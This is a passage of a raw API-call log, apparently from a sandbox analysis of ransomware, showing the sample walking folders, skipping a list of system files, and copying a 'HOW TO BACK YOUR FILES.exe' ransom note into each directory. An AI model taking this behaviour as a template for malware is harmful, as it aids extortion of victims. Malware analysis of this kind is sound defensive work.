ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0053.413] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0053.413] lstrlenW (lpString="Desktop") returned 7 [0053.413] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0053.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c590 [0053.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x518c50 [0053.413] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0053.413] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0053.413] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.414] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0053.414] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0053.414] lstrlenW (lpString="Documents") returned 9 [0053.414] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0053.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c578 [0053.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519448 [0053.414] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0053.414] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0053.414] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.415] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0053.415] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0053.415] lstrlenW (lpString="Favorites") returned 9 [0053.415] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0053.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c530 [0053.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5194d0 [0053.415] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0053.416] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0053.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.416] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.416] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.416] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0053.416] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0053.417] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0053.417] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0053.417] lstrlenW (lpString="Microsoft") returned 9 [0053.417] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0053.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c518 [0053.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519558 [0053.417] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0053.417] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0053.417] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.417] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0053.417] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0053.417] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0053.418] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0053.418] lstrlenW (lpString="Microsoft Help") returned 14 [0053.418] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0053.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a538 [0053.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514638 [0053.418] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0053.418] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0053.418] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.418] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0053.418] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.418] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0053.419] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0053.419] lstrlenW (lpString="Mozilla") returned 7 [0053.419] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0053.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a550 [0053.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x5195e0 [0053.419] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0053.419] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0053.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.420] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1 [0053.420] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1 [0053.420] lstrlenW (lpString="Oracle") returned 6 [0053.420] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0053.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a568 [0053.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x501aa8 [0053.420] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0053.420] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0053.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.421] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1 [0053.421] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1 [0053.421] lstrlenW (lpString="Package Cache") returned 13 [0053.421] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0053.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a580 [0053.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x513b88 [0053.421] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0053.421] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0053.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.422] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1 [0053.422] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1 [0053.422] lstrlenW (lpString="Start Menu") returned 10 [0053.422] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0053.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a598 [0053.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519668 [0053.422] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0053.422] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0053.422] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.423] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1 [0053.423] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1 [0053.423] lstrlenW (lpString="Sun") returned 3 [0053.423] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0053.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5b0 [0053.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501a28 [0053.423] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0053.423] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0053.423] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.424] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", 